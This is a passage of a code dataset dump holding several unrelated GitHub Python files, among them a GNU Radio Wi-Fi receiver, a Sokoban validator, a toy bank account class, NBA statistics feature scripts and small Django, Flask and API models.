__name__==\"__main__\":\r\n \"\"\"Test whatever you want\"\"\"\r\n print(getFactorTensor(123,330).shape)\r\n print(getFactorTensor(123,330))\r\n pass","repo_name":"HongSungRae/timeSeries","sub_path":"dataProcess.py","file_name":"dataProcess.py","file_ext":"py","file_size_in_byte":3187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"7734050122","text":"from gnuradio import eng_notation\nfrom gnuradio import fft\nfrom gnuradio import filter\nfrom gnuradio import gr\nfrom gnuradio import uhd\nfrom gnuradio import window\nfrom gnuradio.eng_option import eng_option\nfrom gnuradio.filter import firdes\nfrom gnuradio.gr import firdes\nfrom optparse import OptionParser\nimport gnuradio.ieee802_11 as gr_ieee802_11\n#import pmt_swig as pmt\nimport socket\n\nclass real_phy_rx(gr.top_block):\n def __init__(self, options, hostname):\n gr.top_block.__init__(self)\n\n ##################################################\n # Variables\n ##################################################\n window_size = options.window_size\n sync_length = options.sync_length\n gain = options.gain\n freq = options.freq\n samp_rate = options.bandwidth\n self.uhd_usrp_source_0 = uhd.usrp_source(device_addr=\"\", stream_args=uhd.stream_args(cpu_format=\"fc32\", channels=range(1)))\n\n self.uhd_usrp_source_0.set_samp_rate(samp_rate)\n self.uhd_usrp_source_0.set_center_freq(freq, 0)\n self.uhd_usrp_source_0.set_gain(gain, 0)\n self.ieee802_1_ofdm_sync_short_0 = gr_ieee802_11.ofdm_sync_short(0.8, 80 * 80, 2, False)\n self.ieee802_1_ofdm_sync_long_0 = gr_ieee802_11.ofdm_sync_long(sync_length, 100, False)\n self.ieee802_1_ofdm_equalize_symbols_0 = gr_ieee802_11.ofdm_equalize_symbols(False)\n self.ieee802_1_ofdm_decode_signal_0 = gr_ieee802_11.ofdm_decode_signal(False)\n self.ieee802_1_ofdm_decode_mac_0 = gr_ieee802_11.ofdm_decode_mac(False)\n self.ieee802_11_ofdm_parse_mac_0 = gr_ieee802_11.ofdm_parse_mac(True)\n self.gr_stream_to_vector_0 = gr.stream_to_vector(gr.sizeof_gr_complex*1, 64)\n self.gr_socket_pdu_0 = gr.socket_pdu(\"TCP_CLIENT\", hostname, str(options.PHYport), 10000)\n self.gr_skiphead_0 = gr.skiphead(gr.sizeof_gr_complex*1, 20000000)\n self.gr_multiply_xx_0 = gr.multiply_vcc(1)\n self.gr_divide_xx_0 = gr.divide_ff(1)\n self.gr_delay_0_0 = gr.delay(gr.sizeof_gr_complex*1, sync_length)\n self.gr_delay_0 = gr.delay(gr.sizeof_gr_complex*1, 16)\n self.gr_conjugate_cc_0 = gr.conjugate_cc()\n self.gr_complex_to_mag_squared_0 = gr.complex_to_mag_squared(1)\n self.gr_complex_to_mag_0 = gr.complex_to_mag(1)\n self.fir_filter_xxx_0_0 = filter.fir_filter_ccf(1, ([1]*window_size))\n self.fir_filter_xxx_0 = filter.fir_filter_fff(1, ([1]*window_size))\n self.fft_vxx_0 = fft.fft_vcc(64, True, (), True, 1)\n self.message_debug = gr.message_debug()\n ##################################################\n # Connections\n ##################################################\n self.connect((self.uhd_usrp_source_0, 0), (self.gr_skiphead_0, 0))\n self.connect((self.gr_skiphead_0, 0), (self.gr_complex_to_mag_squared_0, 0))\n self.connect((self.fir_filter_xxx_0, 0), (self.gr_divide_xx_0, 1))\n self.connect((self.gr_complex_to_mag_squared_0, 0), (self.fir_filter_xxx_0, 0))\n self.connect((self.gr_skiphead_0, 0), (self.gr_multiply_xx_0, 0))\n self.connect((self.gr_conjugate_cc_0, 0), (self.gr_multiply_xx_0, 1))\n self.connect((self.gr_complex_to_mag_0, 0), (self.gr_divide_xx_0, 0))\n self.connect((self.gr_multiply_xx_0, 0), (self.fir_filter_xxx_0_0, 0))\n self.connect((self.fir_filter_xxx_0_0, 0), (self.gr_complex_to_mag_0, 0))\n self.connect((self.gr_skiphead_0, 0), (self.gr_delay_0, 0))\n self.connect((self.gr_delay_0, 0), (self.gr_conjugate_cc_0, 0))\n self.connect((self.fft_vxx_0, 0), (self.ieee802_1_ofdm_equalize_symbols_0, 0))\n self.connect((self.ieee802_1_ofdm_equalize_symbols_0, 0), (self.ieee802_1_ofdm_decode_signal_0, 0))\n self.connect((self.ieee802_1_ofdm_decode_signal_0, 0), (self.ieee802_1_ofdm_decode_mac_0, 0))\n self.connect((self.ieee802_1_ofdm_sync_short_0, 0), (self.gr_delay_0_0, 0))\n self.connect((self.gr_delay_0, 0), (self.ieee802_1_ofdm_sync_short_0, 0))\n self.connect((self.gr_divide_xx_0, 0), (self.ieee802_1_ofdm_sync_short_0, 1))\n self.connect((self.gr_delay_0_0, 0), (self.ieee802_1_ofdm_sync_long_0, 1))\n self.connect((self.ieee802_1_ofdm_sync_short_0, 0), (self.ieee802_1_ofdm_sync_long_0, 0))\n self.connect((self.ieee802_1_ofdm_sync_long_0, 0), (self.gr_stream_to_vector_0, 0))\n self.connect((self.gr_stream_to_vector_0, 0), (self.fft_vxx_0, 0))\n\n ##################################################\n # Asynch Message Connections\n ##################################################\n self.msg_connect(self.ieee802_1_ofdm_decode_mac_0, \"out\", self.ieee802_11_ofdm_parse_mac_0, \"in\")\n self.msg_connect(self.ieee802_11_ofdm_parse_mac_0, \"out\", self.gr_socket_pdu_0, \"pdus\")\n #self.msg_connect(self.ieee802_11_ofdm_parse_mac_0, \"out\", self.message_debug, \"print\")\n\t#self.msg_connect(self.ieee802_11_ofdm_parse_mac_0, \"out\", self.message_debug, \"store\")\n \n\n def get_window_size(self):\n return self.window_size\n\n def set_window_size(self, window_size):\n self.window_size = window_size\n self.fir_filter_xxx_0_0.set_taps(([1]*self.window_size))\n self.fir_filter_xxx_0.set_taps(([1]*self.window_size))\n\n def get_sync_length(self):\n return self.sync_length\n\n def set_sync_length(self, sync_length):\n self.sync_length = sync_length\n self.gr_delay_0_0.set_delay(self.sync_length)\n\n def get_samp_rate(self):\n return self.samp_rate\n\n def set_samp_rate(self, samp_rate):\n self.samp_rate = samp_rate\n self.uhd_usrp_source_0.set_samp_rate(self.samp_rate)\n\n def get_gain(self):\n return self.gain\n\n def set_gain(self, gain):\n self.gain = gain\n self.uhd_usrp_source_0.set_gain(self.gain, 0)\n\n def get_freq(self):\n return self.freq\n\n def set_freq(self, freq):\n self.freq = freq\n self.uhd_usrp_source_0.set_center_freq(self.freq, 0)\n\ndef main():\n parser = OptionParser(option_class=eng_option, usage=\"%prog: [options]\")\n parser.add_option(\"-f\", \"--freq\", type=\"eng_float\",\n default = 5.825e9, help=\"set USRP2 carrier frequency, [default=%default]\",\n metavar=\"FREQ\")\n parser.add_option(\"-w\", \"--window-size\", type=\"int\", default=48 , help = \"set fir filter tap size [default=%default]\")\n parser.add_option(\"-s\", \"--sync-length\", type=\"int\", default=256 , help = \"sync length [default=%default]\")\n parser.add_option(\"-W\", \"--bandwidth\", type=\"eng_float\", default=1e7, help=\"set symbol bandwidth [default=%default]\\\n 20 MHz -> 802.11a/g, OFDM-symbol duration=4us, 10 MHz -> 802.11p, OFDM-symbolduration=8us\")\n parser.add_option(\"-g\", \"--gain\", type=\"int\", default=0 , help = \"set USRP2 Rx GAIN in [dB] [default=%default]\")\n parser.add_option(\"\", \"--PHYport\", type=\"int\", default=8500 , help=\"Socket port [default=%default] \")\n (options, args) = parser.parse_args()\n\n s = socket.socket()\n host = socket.gethostname() # Get local machine name\n# port = options.PHYport # Reserve a port for your service.\n# s.bind((\"\", port))\n# s.listen(1)\n \n tb = real_phy_rx(options,host)\n tb.start()\n #s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n #s.connect((socket.gethostname(), 12345))\n #i = 0\n #while True:\n # if tb.message_debug.num_messages() <=i :\n # print tb.message_debug.num_messages()\n # continue\n # i = i + 1\n # print i\t\n # paquete = self.message_debug.get_message(i)\n # s.send(paquete)\n# while 1:\n# server,data=s.accept()\n# data= server.recv(65536)\n# print data\n# if data == \"0000\":\n# print \"close session command received\"\n# server.close()\n# s.close()\n# break # Close the socket when done\n tb.wait()\n\nif __name__ == '__main__':\n\n try:\n\n main()\n\n except KeyboardInterrupt:\n\n pass\n","repo_name":"syifan/gr-ieee802-11","sub_path":"uwicore_80211_MAC/old/real_phy_rx.py","file_name":"real_phy_rx.py","file_ext":"py","file_size_in_byte":8082,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"36334910216","text":"from rest_framework.exceptions import ValidationError\nfrom django.utils.translation import ugettext_lazy as _\nfrom sk_map.serializers.map import MapDetailSerializer\nfrom sk_map.models import Map\nfrom collections import OrderedDict\nimport numpy as np\n\n\nclass GameSolutionValidator(object):\n \"\"\"\n This class used for validate solution of game level\n \"\"\"\n def __init__(self, map, solution):\n \"\"\"\n :param map: is a Map instance\n :param solution: is a json - format: [{x: 1, y: 2}, {x: 3, y: 4}, etc]\n :return: init of class\n \"\"\"\n self.map = MapDetailSerializer(Map.objects.get(id=map)).data\n self.solution = solution\n if not self.map['wall_set'] or not self.map['box_set'] or not self.map['men'] or not self.map['point_set']:\n raise ValidationError(_('Invalid map'))\n\n def create_matrix(self, data):\n \"\"\"\n :param data: dict, OrderedDict or list of dicts or OrderedDicts\n :return: np.array - matrix\n \"\"\"\n if isinstance(data, list):\n dicts = [dict(ord_dict) for ord_dict in data]\n result = [np.array([item['x'], item['y']]) for item in dicts]\n elif isinstance(data, OrderedDict) or isinstance(data, dict):\n result = np.array([data['x'], data['y']])\n else:\n raise ValidationError(_('Invalid data'))\n return result\n\n def __call__(self):\n\n # create matrix from serialized data\n walls = self.create_matrix(self.map['wall_set'])\n boxes = self.create_matrix(self.map['box_set'])\n men = self.create_matrix(self.map['men'])\n points = self.create_matrix(self.map['point_set'])\n steps = self.create_matrix(self.solution)\n\n # step_cases - player can move only one step, up, down, left, right\n step_cases = [np.array([0, 1]), np.array([1, 0]), np.array([0, -1]), np.array([-1, 0])]\n\n # solution is not valid if player start to move not from Men's position on Map\n if not np.array_equal(steps[0], men):\n return\n\n # wrong map - Boxes not equal with Points\n if np.array_equal(boxes, points):\n return\n\n # start to validate steps of solution\n for step_index, step in enumerate(steps):\n\n # wrong if step on wall\n if any((step == wall).all() for wall in walls):\n return\n\n if step_index != 0:\n diff = step - steps[step_index - 1]\n\n # wrong if jump more then one step\n if not any((diff == step_case).all() for step_case in step_cases):\n return\n\n # if we step on box - we move the box\n for box_index, box in enumerate(boxes):\n if np.array_equal(step, box):\n box = boxes.pop(box_index) + diff\n boxes.append(box)\n\n # stert to calculate covered points\n covered = 0\n for point_index, point in enumerate(points):\n for box_index, box in enumerate(boxes):\n if np.array_equal(point, box):\n covered += 1\n\n # if we covered all the points by boxes - map is done\n if covered == len(points):\n return True\n else:\n return\n\n def is_valid(self):\n return self.__call__()","repo_name":"chepe4pi/sokoban_api","sub_path":"sk_game/vallidators/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3355,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"4537297225","text":"class User:\t\t# here's what we have so far\n def __init__(self, name, email):\n self.name = name\n self.email = email\n self.account_balance = 0\n # adding the deposit method\n def make_deposit(self, amount):\t# takes an argument that is the amount of the deposit\n self.account_balance += amount\t# the specific user's account increases by the amount of the value received\n # make_withdrawal(self, amount) - have this method decrease the user's balance by the amount specified\n def make_withdrawal(self, amount):\n self.account_balance -= amount\n # display_user_balance(self) - have this method print the user's name and account balance to the terminal\n def display_user_balance(self):\n print(f\"User: {self.name}, Balance: ${self.account_balance}\")\n # BONUS: transfer_money(self, other_user, amount) - have this method decrease the user's balance by the amount and \n # add that amount to other other_user's balance\n def transfer_money(self, other_user, amount):\n other_user.account_balance += amount\n self.account_balance -= amount\n\nzahra = User('Zahra','zahra@gmail.com')\nlady_gaga = User('lady gaga', 'gaga@gmail.com')\nmarwa = User('marwa', 'cayoot@gmail.com')\n\nzahra.make_deposit(4000)\nzahra.make_deposit(2000)\nzahra.make_deposit(2000)\nzahra.make_withdrawal(300)\nzahra.display_user_balance()\n\nlady_gaga.make_deposit(220000)\nlady_gaga.make_deposit(150)\nlady_gaga.make_withdrawal(450)\nlady_gaga.make_withdrawal(1500)\nlady_gaga.display_user_balance()\n\nmarwa.make_deposit(5000)\nmarwa.make_withdrawal(2000)\nmarwa.make_withdrawal(400)\nmarwa.make_withdrawal(290)\nmarwa.display_user_balance()\n\nzahra.transfer_money(marwa, 1000)\nzahra.display_user_balance()\nmarwa.display_user_balance()","repo_name":"zahramughais/Mughais_Zahra_-User","sub_path":"user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72676467393","text":"import math\n\ntemp = open(\"trojki.txt\")\nfile = temp.readlines()\ntemp.close()\n\ndef isPrime(n):\n if n < 2:\n return False\n else:\n for i in range(2, int(math.sqrt(n))+1):\n if n%i == 0:\n return False\n return True\n \nprint(\"6.1\\n\") \nfor lines in file:\n temp = lines.rstrip()\n lines = lines.rstrip().split(\" \")\n a, b, c = lines[0], lines[1], lines[2]\n \n ab_sum = 0\n for numbers in a:\n ab_sum += int(numbers)\n for numbers in b:\n ab_sum += int(numbers)\n if ab_sum == int(c):\n print(temp)\n\nprint(\"\\n66.2\\n\")\nfor lines in file:\n temp = lines.rstrip()\n lines = lines.rstrip().split(\" \")\n a, b, c = int(lines[0]), int(lines[1]), int(lines[2])\n if isPrime(a) and isPrime(b) and a*b == c:\n print(temp)\n \nprint(\"\\n66.3\\n\")\nvalues = []\nsides = []\nfor lines in file:\n sides.append(lines.rstrip())\n lines = lines.rstrip().split(\" \")\n a, b, c = int(lines[0]), int(lines[1]), int(lines[2])\n if a**2 + b**2 == c**2 or b**2 + c**2 == a**2 or a**2 + c**2 == b**2:\n values.append(True)\n else:\n values.append(False)\n \nfor i in range(1, len(values)):\n if values[i-1] == values[i] == True:\n print(f\"{sides[i-1]}\\n{sides[i]}\")\n\nprint(\"\\n66.4\\n\") \ntriangular = []\nfor lines in file:\n sides.append(lines.rstrip())\n lines = lines.rstrip().split(\" \")\n a, b, c = int(lines[0]), int(lines[1]), int(lines[2])\n if a + b > c and a + c > b and c + b > a:\n triangular.append(True)\n else:\n triangular.append(False)\n\nlongest_sequence, sequence = 0, 1 \nfor i in range(1, len(triangular)):\n if triangular[i-1] == triangular[i] == True:\n sequence += 1\n longest_sequence = max(sequence, longest_sequence)\n else:\n sequence = 1\n \nprint(f\"{triangular.count(True)}\\n{longest_sequence}\")","repo_name":"zelazowska/matura_py","sub_path":"matura_zbiorek/066/threes.py","file_name":"threes.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"4615705338","text":"import os\n\nfrom services import ebs_data_service\nfrom services.list_service import load_list\nfrom . import ebs_analyzer_blueprint\nfrom .EbsAnalyzer import EbsAnalyzer as Analyzer\nfrom flask import current_app as app, request\n\n\n@ebs_analyzer_blueprint.route('/ebslists', methods=['POST'])\ndef ebslist():\n \"\"\"\n takes the information from the request body, loads the corresponding file and applies the selected model\n parameters provided as request form parameters:\n filename - the name of the file that holds the usage data\n model - the model name for the analysis\n mode - the mode of analysis to be applied\n limit - the amount of money to be distributed\n :return: the final price of the selected titles\n \"\"\"\n\n # reading parameters from HTTP-request\n ebs_filename = request.form['filename']\n ebs_model = request.form['model']\n ebs_mode = request.form['mode']\n ebs_limit = float(request.form['limit'])\n\n # prepare the base location for this module\n base_location = app.config.get(\"LIBINTEL_DATA_DIR\") + \"/ebslists/\"\n location = base_location + ebs_model + '/'\n if not os.path.exists(location):\n os.makedirs(location)\n\n # load the data from the data file in the upload directory\n ebs_titles = ebs_data_service.load_data(ebs_filename, ebs_model)\n\n # load the list of isbns for titles which are fixed to be selected. add these to the list of fixed titles, set the\n # selected boolean to true and reduce the amount of available money by the price\n fixed_isbns = load_list(ebs_model, module='ebslists', list_type='isbn', prefix='fixed')\n fixed_titles = []\n for title in ebs_titles:\n if title.isbn.strip() in fixed_isbns:\n title.selected = True\n fixed_titles.append(title)\n ebs_limit -= title.price\n\n # remove the fixed titles from the list of ebs titles.\n ebs_titles = [item for item in ebs_titles if item not in fixed_titles]\n\n # make the selection, i.e. set the boolean \"selected\" and weighting factors if necessary\n analyzer = Analyzer(ebs_mode)\n selected_sum = analyzer.make_selection(ebs_limit=ebs_limit, ebs_titles=ebs_titles)\n\n # add the fixed ebs titles to the list of selection\n ebs_titles += fixed_titles\n\n # persist the results to the database in order to offer them to the fachref-assistant\n # ebs_data_service.persist_ebs_list(ebs_titles)\n\n # save the results to a out-file in the upload directory\n ebs_data_service.save_ebs_list_file(ebs_titles, ebs_filename, ebs_model, ebs_mode)\n return '{} of {} were spent by selection'.format(selected_sum, ebs_limit)\n","repo_name":"ETspielberg/libintel_scripts","sub_path":"app/ebsanalyzer/ebs_analyzer_routes.py","file_name":"ebs_analyzer_routes.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73236351873","text":"import pandas as pd\nimport yaml\nimport os\nimport sys\nfrom pathlib import Path\n\nhome_dir = Path('/Users/Liu/')\n\ngbm_build_dir = home_dir / 'NBA_Pro_Line_Analytics/GBM_model_build/'\nconfig_dir = gbm_build_dir / 'feature_generation_scripts/configs/'\n\nwith open(config_dir / 'dataset_config.yaml', 'r') as stream:\n try:\n dataset_config = yaml.load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n\n#loads in parameter config containing averge metrics\nwith open(config_dir / 'player_metrics' / 'avg_metric_features.yml' , 'r') as stream:\n try:\n player_metric_config = yaml.load(stream)\n except yaml.YAMLError as exc:\n print(exc)\n\nscripts_dir = os.path.join(gbm_build_dir, 'model_build_scripts')\nsys.path.insert(1, scripts_dir)\n\nimport helpers\n\n#Function used to create indicators for whether a player recorded double digit stats for any of the categories\n#listed in stats_cols\ndef double_digit_ind(df, stat_cols = ['PTS', 'A', 'TOT', 'BL', 'ST'] ):\n '''\n Function used to generate indicators for whether the player has recorded double\n '''\n cols_needed = []\n for stat in stat_cols:\n col_name = stat + '_doub_digit_ind'\n cols_needed.append(col_name)\n df[col_name] = df[stat].apply(lambda x: 1 if x >= 10 else 0)\n\n df['num_cats_doub_digit'] = df[cols_needed].sum(axis = 1)\n\nplayer_dir = home_dir / 'NBA_Pro_Line_Analytics/raw_data/NBA_Player_Stats_2010-2019/'\n\noutput_dir = helpers.ensure_dir_exists(home_dir / 'NBA_Pro_Line_Analytics/model_build_data/NBA_Player_Stats_2010-2019_rollling_avg/')\n\ni = 0\n\nfor data in dataset_config['NBA_Player_stats_raw']:\n print(f'Now reading in datset {data}')\n player_stats = pd.read_excel(player_dir / data, sheet_name=0)\n\n print(f'Renaming features:')\n player_stats = player_stats.rename(columns = {'PLAYER \\nFULL NAME': 'player_name',\n 'OWN \\nTEAM': 'player_team',\n 'OPPONENT \\nTEAM': 'opposing_team',\n 'VENUE\\n(R/H)': 'venue',\n 'STARTER\\n(Y/N)': 'starter_ind',\n 'USAGE \\nRATE (%)': 'usage_rate',\n 'DAYS\\nREST': 'days_rested',\n 'PLAYER-ID' : 'player_id'\n })\n\n double_digit_ind(player_stats)\n #Indicators used to generate whether a player has recorded a triple double or double double\n player_stats['triple_double_ind'] = player_stats['num_cats_doub_digit'].apply(lambda x: 1 if x == 3 else 0)\n player_stats['double_double_ind'] = player_stats['num_cats_doub_digit'].apply(lambda x: 1 if x == 2 else 0)\n player_stats['efficiency'] = player_stats['PTS'] + player_stats['TOT'] + player_stats['ST'] + player_stats['BL'] - player_stats['TO'] - (player_stats['FGA'] - player_stats['FG'])\n player_stats['TS_pct'] = player_stats['PTS'] / (2 * (player_stats['FGA'] + .44 * player_stats['FTA']) )\n # Computes the rolling mean from the data\n for key, value in player_metric_config.items():\n print(f'Now computing {key} for {data}')\n player_stats = player_stats.set_index(['GAME-ID'])\n poww = pd.DataFrame()\n for player in player_stats.player_id.unique():\n temp_df = player_stats[player_stats.player_id == player]\n if value['method_of_compute'] == 'mean':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).mean().shift().reset_index()\n key_name = value['column_required']\n elif value['method_of_compute'] == 'sum':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n key_name = value['column_required']\n elif value['method_of_compute'] == 'pct_calc':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n aa[value['Parameter_Name']] = aa[value['column_required'][0]] / aa[value['column_required'][1]]\n aa = aa.drop(columns = value['column_required'], axis = 1)\n key_name = value['Parameter_Name']\n elif value['method_of_compute'] == 'eff_pct_calc':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n aa[value['Parameter_Name']] = (aa[value['column_required'][0]] + .5 * aa[value['column_required'][1]]) / aa[value['column_required'][2]]\n aa = aa.drop(columns = value['column_required'], axis = 1)\n key_name = value['Parameter_Name']\n elif value['method_of_compute'] == 'ts_pct_calc':\n aa = temp_df.groupby('player_id')[value['column_required']].rolling(value['rolling_window_required']).sum().shift().reset_index()\n aa[value['Parameter_Name']] = aa[value['column_required'][0]] /(2 * ( aa[value['column_required'][1]] + .44 * aa[value['column_required'][2]]))\n aa = aa.drop(columns = value['column_required'], axis = 1)\n key_name = value['Parameter_Name']\n poww = poww.append(aa)\n poww = poww.rename(columns={key_name: key})\n\n player_stats = player_stats.reset_index().merge(poww, how='left', on=['player_id', 'GAME-ID'])\n\n player_stats.to_csv(output_dir / dataset_config['NBA_Player_stats_w_rolling_avg'][i], index= False)\n\n i += 1\n","repo_name":"willyliu517/NBA_Pro_Line_Analytics","sub_path":"GBM_model_build/feature_generation_scripts/generate_player_rolling_avg_features.py","file_name":"generate_player_rolling_avg_features.py","file_ext":"py","file_size_in_byte":5719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"4489205342","text":"#序列化\n#把变量从内存中变成可存储或传输的过程称之为序列化\n#在 Python中叫 pickling,在其他语言中也被称之为 serialization,marshalling,flattening 等等\n#反过来,把变量内容从序列化的对象重新读到内存里称之为反序列化,即 unpickling\n\nimport pickle\nd = dict(name='scott',age=22,score=80)\ns = pickle.dumps(d)#将对象序列化\nprint(s)\n#pickle.dumps()方法把任意对象序列化成一个 bytes,然后,就可以把这\n#个 bytes 写入文件。或者用另一个方法 pickle.dump()直接把对象序列化\n#后写入一个 file-like Object:\n\nf = open('dump.txt','wb')\npickle.dump(d,f) #\nf.close()\n\n","repo_name":"nikelily/PyLearn-Codes","sub_path":"160915/pickling.py","file_name":"pickling.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31818561682","text":"#una empresa actualmente se encuentra en proceso de seleccion de personal por lo que: se nesecita de un programa que permita almacenar el nombre de las personas que llegan a entrevista y la cantidad total de personas entrevistadas en los diferentes dias \npostulantes=[]\ndef obtenerDatos():\n nombres=input(\"ingrese nombre postulante \")\n postulantes.append(nombres)\n print(nombres + \" ha sido añadido correctamente\")\n preguntaIngreso()\n\ndef salida():\n conteo=0\n for x in postulantes:\n conteo=conteo+1\n print(conteo,\" \",x)\n\n\ndef preguntaIngreso():\n print(\"¿Hay nuevos postulantes ?\")\n respuesta=input(\"s/n \")\n if respuesta==\"S\"or respuesta==\"s\":\n obtenerDatos()\n else:\n salida()\npreguntaIngreso()","repo_name":"AntonyBarahona/Funciones","sub_path":"ejerciciofunciones.py","file_name":"ejerciciofunciones.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17145580076","text":"from django.db import models\nfrom django.conf import settings\nimport os\n\n# Create your models here.\n\nclass Project(models.Model):\n title = models.CharField(max_length=100)\n description = models.TextField()\n youtlink = models.URLField(max_length=200, default=\"\")\n gittlink = models.URLField(max_length=200, default=\"\")\n technology = models.CharField(max_length=20)\n image = models.ImageField(upload_to=\"images/\")\n \n def __str__(self):\n return self.title\n","repo_name":"dean-joshua/My-First-Django-Web-App","sub_path":"projects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22913534631","text":"import numpy as np\nfrom kincalib.Transforms.Rotation import Rotation3D\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\n\n\ndef calculate_position_error(T_RG: np.ndarray, T_RG_actual: np.ndarray):\n return np.linalg.norm((T_RG_actual - T_RG)[:3, 3, :], axis=0) * 1000\n\n\ndef calculate_orientation_error(T_RG: np.ndarray, T_RG_actual: np.ndarray):\n orientation_error = []\n for i in range(T_RG.shape[2]):\n T_RG_ith = Rotation3D(Rotation3D.trnorm(T_RG[:3, :3, i]))\n T_RG_actual_ith = Rotation3D(Rotation3D.trnorm(T_RG_actual[:3, :3, i]))\n axis_angle = (T_RG_ith.T @ T_RG_actual_ith).as_rotvec()\n orientation_error.append(np.linalg.norm(axis_angle))\n\n return np.array(orientation_error) * 180 / np.pi\n\n\ndef create_cartesian_error_lineplot(\n position_error: np.ndarray,\n orientation_error: np.ndarray,\n pos_ax: plt.Axes,\n ori_ax: plt.Axes,\n):\n pos_ax.plot(position_error)\n pos_ax.set_ylabel(\"Position error (mm)\")\n ori_ax.plot(orientation_error)\n ori_ax.set_ylabel(\"Orientation error (deg)\")\n\n [a.grid() for a in [pos_ax, ori_ax]]\n\n\ndef create_cartesian_error_histogram(\n pos_error_setpoint_measured: np.ndarray,\n ori_error_setpoint_measured: np.ndarray,\n pos_error_measured_actual: np.ndarray,\n ori_error_measured_actual: np.ndarray,\n stat=\"proportion\",\n bins=50,\n):\n data_dict = dict(\n pos_error_sm=pos_error_setpoint_measured,\n ori_error_sm=ori_error_setpoint_measured,\n pos_error_ma=pos_error_measured_actual,\n ori_error_ma=ori_error_measured_actual,\n )\n error_data = pd.DataFrame(data_dict)\n\n sub_params = dict(\n top=0.88, bottom=0.11, left=0.06, right=0.96, hspace=0.27, wspace=0.29\n )\n figsize = (13.66, 5.70)\n fig, axes = plt.subplots(2, 4, figsize=figsize)\n fig.subplots_adjust(**sub_params)\n\n fig.suptitle(f\"Error distribution (N={error_data.shape[0]})\")\n\n # fmt: off\n\n ## setpoint vs measured\n title = axes[0, 0 ].set_title(\"Setpoint vs Measured\")\n title.set_position([axes[0, 0].get_position().x0+1.02, axes[0, 0].get_position().y1 + 0.02])\n sns.histplot(\n data=error_data, x=\"pos_error_sm\", ax=axes[0, 0 ], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"ori_error_sm\", ax=axes[0, 1 ], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"pos_error_sm\", ax=axes[1, 0 ], stat=stat, kde=True, cumulative=True, bins=bins\n )\n sns.histplot(\n data=error_data, x=\"ori_error_sm\", ax=axes[1, 1 ], stat=stat, kde=True, cumulative=True, bins=bins\n )\n\n ## measured vs actual\n title = axes[0, 0 + 2].set_title(\"Measured vs actual\")\n title.set_position([axes[0, 0 + 2].get_position().x0+0.62, axes[0, 0 + 2].get_position().y1 + 0.02])\n sns.histplot(\n data=error_data, x=\"pos_error_ma\", ax=axes[0, 0 + 2], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"ori_error_ma\", ax=axes[0, 1 + 2], stat=stat, kde=True, bins=bins,\n )\n sns.histplot(\n data=error_data, x=\"pos_error_ma\", ax=axes[1, 0 + 2], stat=stat, kde=True, cumulative=True, bins=bins\n )\n sns.histplot(\n data=error_data, x=\"ori_error_ma\", ax=axes[1, 1 + 2], stat=stat, kde=True, cumulative=True, bins=bins\n )\n # fmt: on\n plt.show()\n","repo_name":"jabarragann/KinematicCalibDVRK","sub_path":"kincalib/utils/ErrorUtils.py","file_name":"ErrorUtils.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1897239763","text":"class Source:\n '''\n Class that defines news sources object\n '''\n\n\n def __init__(self, id, name, description, url, category, country):\n self.id = id\n self.name = name\n self.description = description\n self.url = url\n self.category = category\n self.country = country\n\n\n# top headlines\n\nclass Article:\n '''\n Class that defines article objects\n '''\n\n def __init__(self, author, title, description, url, urlToImage, publishedAt, content):\n # self.source = source\n self.author = author\n self.title = title\n self.description = description\n self.url = url\n self.urlToImage = urlToImage\n self.publishedAt = publishedAt\n self.content = content\n","repo_name":"John-Kimani/Horizon-News","sub_path":"app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3807699284","text":"from source.api.ApiRequest import ApiRequest\n\nclass ProductApiHelper(ApiRequest):\n @property\n def resource(self):\n return \"product\"\n \n async def search(self, text, filter, page=0, size=5):\n return await self.get({\n \"text\" : text,\n \"filter\" : filter,\n \"page\" : page,\n \"size\" : size\n })","repo_name":"Siakoo0/BroFinderBotTG","sub_path":"source/api/ProductApi.py","file_name":"ProductApi.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4369656418","text":"\"\"\"\nPDX Code Guild Lab 16 (v2): Dad Joke API\n\"\"\"\nimport time\nfrom comedian import Comedian\nfrom audience import Audience\n\nseinfeld = 